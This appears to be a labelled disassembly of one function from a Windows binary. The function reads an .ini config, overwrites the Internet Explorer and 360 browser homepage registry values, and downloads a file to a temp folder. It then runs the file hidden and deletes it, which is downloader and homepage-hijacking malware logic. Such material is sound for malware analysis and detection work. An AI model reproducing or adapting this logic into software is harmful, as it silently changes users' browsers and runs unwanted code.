Function at 0x4014b2
Capabilities:
Create directory
Get common file path
Read .ini file
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5270
call fcn.00401f30
mov dl, byte [0x4041c8]
push ebx
push esi
push edi
push 0x1f
xor eax, eax
pop ecx
lea edi, [ebp - 0xa7]
mov byte [ebp - 0xa8], dl
push 0x1f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x26f]
mov byte [ebp - 0x270], dl
rep stosd dword es:[edi], eax
push dword [ebp + 0xc]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xa8]
push str.Other_d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0xa8]
push dword [ebp + 8]
push 0
push str.Select
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
mov dword [ebp - 4], eax
je 0x4017db
mov dl, byte [0x4041c8]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x1ab]
mov byte [ebp - 0x1ac], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x27]
mov byte [ebp - 0x28], dl
mov ecx, 0x3ff
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x126f]
mov byte [ebp - 0x1270], dl
mov byte [ebp - 0x5270], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7ff
xor eax, eax
lea edi, [ebp - 0x526f]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
cmp dword [ebp + 0xc], 0x64
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x1000
push edi
jne 0x40164a
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x2270]
mov esi, 0x4041c8
push eax
push esi
lea eax, [ebp - 0xa8]
push str.IEUrl
push eax
call ebx
cmp byte [ebp - 0x2270], 0
je 0x4015f2
lea eax, [ebp - 0x2270]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x2270]
push eax
push 1
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
push dword [ebp + 8]
lea eax, [ebp - 0x2270]
push edi
push eax
push esi
lea eax, [ebp - 0xa8]
push str.360Url
push eax
call ebx
cmp byte [ebp - 0x2270], 0
je 0x4017db
lea eax, [ebp - 0x2270]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x2270]
push eax
push 1
push str.homepage
push str.Software360360se3
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
jmp 0x4017db
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x3270]
mov esi, 0x4041c8
push eax
push esi
lea eax, [ebp - 0xa8]
push 0x40407c
push eax
call ebx
push dword [ebp + 8]
lea eax, [ebp - 0x1270]
push edi
push eax
push esi
lea eax, [ebp - 0xa8]
push str.Param
push eax
call ebx
cmp byte [ebp - 0x3270], 0
je 0x4017db
lea eax, [ebp - 0x3270]
push 0x2f
push eax
call dword [sym.imp.MSVCRT.dll__mbsrchr]
pop ecx
test eax, eax
pop ecx
je 0x4017db
mov edi, dword [sym.imp.MSVCRT.dll_strrchr]
inc eax
push 0x3f
push eax
mov dword [ebp + 0xc], eax
call edi
pop ecx
test eax, eax
pop ecx
je 0x4016cd
push 0x3f
push dword [ebp + 0xc]
call edi
pop ecx
inc eax
pop ecx
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x1ac]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea eax, [ebp - 0x28]
push 0x404070
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1ac]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x1ac]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [ebp - 4], 0x64
jb 0x401760
push dword [ebp + 8]
lea eax, [ebp - 0x270]
push 0x80
push eax
push esi
lea eax, [ebp - 0xa8]
push str.HardCodeName
push eax
call ebx
cmp byte [ebp - 0x270], 0
jne 0x401757
push dword [ebp + 0xc]
lea eax, [ebp - 0x1ac]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
jmp 0x4017ab
lea eax, [ebp - 0x270]
push eax
jmp 0x401747
push dword [ebp + 0xc]
lea eax, [ebp - 0x1ac]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1ac]
push 0x2e
push eax
call dword [sym.imp.MSVCRT.dll__mbsrchr]
add esp, 0x10
cmp dword [ebp - 4], 5
mov esi, eax
jae 0x4017ab
test esi, esi
je 0x4017ab
cmp dword [ebp + 0x10], 0
je 0x4017ab
push 0x40405c
push esi
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x10]
inc esi
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x10
push 2
pop esi
lea eax, [ebp - 0x1ac]
push eax
lea eax, [ebp - 0x3270]
push eax
call fcn.00401000
pop ecx
test eax, eax
pop ecx
jne 0x4017e0
mov eax, esi
dec esi
test eax, eax
jne 0x4017ae
lea eax, [ebp - 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
leave
ret
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x1ec]
rep stosd dword es:[edi], eax
xor esi, esi
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1f0], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5270]
push eax
lea eax, [ebp - 0x1ac]
push eax
call fcn.0040147c
cmp byte [ebp - 0x1270], 0
pop ecx
pop ecx
je 0x401847
lea eax, [ebp - 0x5270]
push 0x404058
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1270]
push eax
lea eax, [ebp - 0x5270]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1f0]
push eax
push esi
push esi
push 0x8000008
push esi
push esi
lea eax, [ebp - 0x5270]
push esi
push eax
lea eax, [ebp - 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
lea eax, [ebp - 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x1ac]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll__mbsrchr]
and byte [eax], 0
pop ecx
pop ecx
lea eax, [ebp - 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x4017db